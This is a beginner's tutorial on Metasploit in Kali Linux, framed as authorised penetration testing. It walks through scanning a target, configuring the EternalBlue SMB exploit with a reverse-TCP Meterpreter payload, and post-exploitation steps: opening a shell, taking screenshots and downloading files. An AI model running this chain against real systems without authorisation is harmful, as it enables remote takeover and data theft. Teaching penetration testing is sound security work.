Metasploit on Kali Linux
Metasploit on Kali Linux: A Step-by-Step Tutorial
Disclaimer: This tutorial is intended for educational purposes only. Always ensure you have explicit permission to perform penetration testing on any network or system. Unauthorized access to computer systems is illegal and unethical.
Table of Contents
Introduction to Metasploit
Setting Up the Environment
Starting Metasploit Framework
Basic Commands in Metasploit
Scanning and Enumerating Targets
Selecting and Configuring Exploits
Choosing and Configuring Payloads
Executing the Exploit
Post-Exploitation with Meterpreter
Closing the Session and Exiting Metasploit
Best Practices and Ethical Considerations
1. Introduction to Metasploit
Metasploit Framework is a powerful tool used by cybersecurity professionals for penetration testing and vulnerability assessments. It provides a suite of tools for simulating attacks on networks and systems to identify security weaknesses.
2. Setting Up the Environment
Prerequisites
Kali Linux installed on your machine (bare-metal, virtual machine, or live boot).
Basic understanding of networking and command-line interface.
Updating Kali Linux
Before starting, ensure your system is up-to-date:
sudo apt update && sudo apt upgrade -y
3. Starting Metasploit Framework
Metasploit comes pre-installed on Kali Linux.
To start the Metasploit console:
Open a terminal window.
Initialize the PostgreSQL database (required for Metasploit):
sudo service postgresql start
Start the Metasploit console:
sudo msfconsole
You should see the Metasploit banner and the msf>
prompt.
You can also find it by navigating in the Kali Linux menu system.
4. Basic Commands in Metasploit
Familiarize yourself with some basic commands:
help
: Displays help menu with a list of commands.msf> help
version
: Shows the current version of Metasploit.msf> version
search
: Searches for exploits, payloads, and modules.msf> search smb
use
: Selects a module to use.msf> use exploit/windows/smb/ms17_010_eternalblue
show options
: Displays options for the selected module.msf> show options
5. Scanning and Enumerating Targets
Before exploiting, gather information about the target.
Using Nmap within Metasploit
Run Nmap scan:
msf> db_nmap -sV -O 192.168.1.10
Replace
192.168.1.10
with the target IP address.View the scanned hosts:
msf> hosts
List open services and ports:
msf> services
6. Selecting and Configuring Exploits
Searching for Exploits
Use the
search
command with relevant keywords:msf> search type:exploit name:smb
Selecting an Exploit
Choose an exploit module:
msf> use exploit/windows/smb/ms17_010_eternalblue
View exploit options:
msf> show options
Setting Exploit Options
Set the target IP address:
msf> set RHOSTS 192.168.1.10
Confirm the options are set:
msf> show options
7. Choosing and Configuring Payloads
Listing Available Payloads
Show compatible payloads:
msf> show payloads
Selecting a Payload
Choose a payload (e.g., reverse TCP shell):
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
Set the local host IP (your machine's IP):
msf> set LHOST 192.168.1.5
Replace
192.168.1.5
with your Kali Linux IP address.(Optional) Set the local port:
msf> set LPORT 4444
8. Executing the Exploit
Run the exploit:
msf> exploit
Metasploit will attempt to exploit the target and establish a Meterpreter session.
9. Post-Exploitation with Meterpreter
Once a session is established, you can interact with the target system.
Basic Meterpreter Commands
sysinfo
: Displays system information.meterpreter> sysinfo
getuid
: Shows user ID.meterpreter> getuid
shell
: Drops into a shell on the target system.meterpreter> shell
screenshot
: Takes a screenshot of the target desktop.meterpreter> screenshot
download
: Downloads a file from the target system.meterpreter> download C:\\path\\to\\file.txt
Exiting Meterpreter
exit
: Closes the Meterpreter session.meterpreter> exit
10. Closing the Session and Exiting Metasploit
List active sessions:
msf> sessions -l
Interact with a session:
msf> sessions -i [session_id]
Close a session:
msf> sessions -k [session_id]
Exit Metasploit:
msf> exit
11. Best Practices and Ethical Considerations
Legal Authorization: Always obtain written permission before performing any penetration testing.
Ethical Responsibility: Use Metasploit to improve security, not to exploit vulnerabilities for malicious purposes.
Confidentiality: Keep any sensitive data obtained during testing confidential.
Reporting: Provide detailed reports of your findings to the appropriate parties to help remediate vulnerabilities.
Continuous Learning: Stay updated with the latest security trends and Metasploit modules.
Note: Always remember the importance of legality and ethics in cybersecurity work. Use these skills responsibly to contribute to a safer digital environment.
Last updated